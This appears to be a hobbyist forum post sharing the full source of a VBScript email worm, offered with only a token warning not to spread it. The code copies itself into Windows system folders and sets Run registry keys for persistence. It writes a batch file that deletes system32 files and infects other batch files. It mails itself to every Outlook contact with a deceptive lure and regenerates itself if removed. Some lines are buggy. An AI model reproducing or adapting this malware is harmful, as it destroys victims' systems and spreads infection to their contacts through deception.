VBScript Worm

[Maverick]

Please do not spread this program, its quite destructive, and you'll get yourself in shit. Thanks.

Thisis a worm i made using visual basic script, similar to VB

'testvirus c0ded by Mav
On Error Resume Next

msgbox "°"¢[ c0ded by Mav ]"¢Â°", vbOKOnly, "Mav 0wnZ j00 AsS"

set fso=CreateObject("Scripting.FileSystemObject")
fso.CopyFile Wscript.ScriptFullName, "C:\WINDOWS\SYSTEM\MicroshitWinblows.vbs", True

set fso=CreateObject("Scripting.FileSystemObject")
fso.CopyFile Wscript.ScriptFullName, "C:\WINNT\system32\MicroshitWinblows.vbs", True

Set WScriptShell = CreateObject ("WScript.Shell")
WScriptShell.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\", "C:\WINDOWS\SYSTEM\MicroshitWinblows.vbs"
Set FileSystemObject = CreateObject("Scripting.filesystemobject")

Set WScriptShell = CreateObject ("WScript.Shell")
WScriptShell.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Run\", "C:\WINNT\system32\MicroshitWinblows.vbs"
Set FileSystemObject = CreateObject("Scripting.filesystemobject")

msgbox "This wouldn't have happened in Linux.. You suck Gates..", vbOKOnly, "HAHA"

Dim shell, batch1, batch2, fso
set fso=CreateObject("Scripting.FileSystemObject")
fso.CopyFile Wscript.ScriptFullName, "C:\Windows.vbs", True
set batch1=fso.CreateTextFile("C:\AutoRun.bat")
batch1.WriteLine "cls"
batch1.WriteLine "@echo off"
batch1.WriteLine "cscript C:\Windows.vbs"
batch1.Close
set batch2=CreateTextFile("C:\Command.bat")
batch2.Writeline "del %systemroot%\system32\*.*"
batch2.WriteLine "cls"
batch2.WriteLine "@echo off"
batch2.WriteLine "for %%a in (*.bat) do copy %0 %%a"
batch2.Close
shell.Run "C:\lnk.bat"

Set payload1 = CreateObject("Scripting.FileSystemObject")
Set tFile = payload1.CreateTextFile("C:\WINDOWS\Desktop\HELLO USER!.txt")
Set tFile2 = payload1.CreateTextFile("C:\Documents and Settings\All Users\Desktop\HELLO USER!.txt")
tFile.WriteLine "Tsk tsk, doesnt Microsoft suck? °"¢[ c0ded by Mav ]"¢Â°"
tFile2.WriteLine "Tsk tsk, doesnt Microsoft suck? °"¢[ c0ded by Mav ]"¢Â°"

Dim x
on error resume next
Set fso ="Scripting.FileSystem.Object"
Set so=CreateObject(fso)
Set ol=CreateObject("Outlook.Application")
Set out= WScript.CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")
Set a = mapi.AddressLists(1)
For x=1 To a.AddressEntries.Count
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="Hey!!!"
Mail.Body="Here's that document I was telling you about last week! You'll love it, it reminds me of you!"
Mail.Attachments.Add Wscript.ScriptFullName
Mail.Send
Next
ol.Quit

dim fso, mav,mytext
set fso = createobject("scripting.filesystemobject")
set mav = fso.opentextfile(wscript.scriptfullname)
mytext = lecusis.readall
mav.close
do

if fso.fileexists(wscript.scriptfullname) = false then

set myself = fso.createtextfile(wscript.scriptfullname)
mav.write mytext
mav.close
end if
loop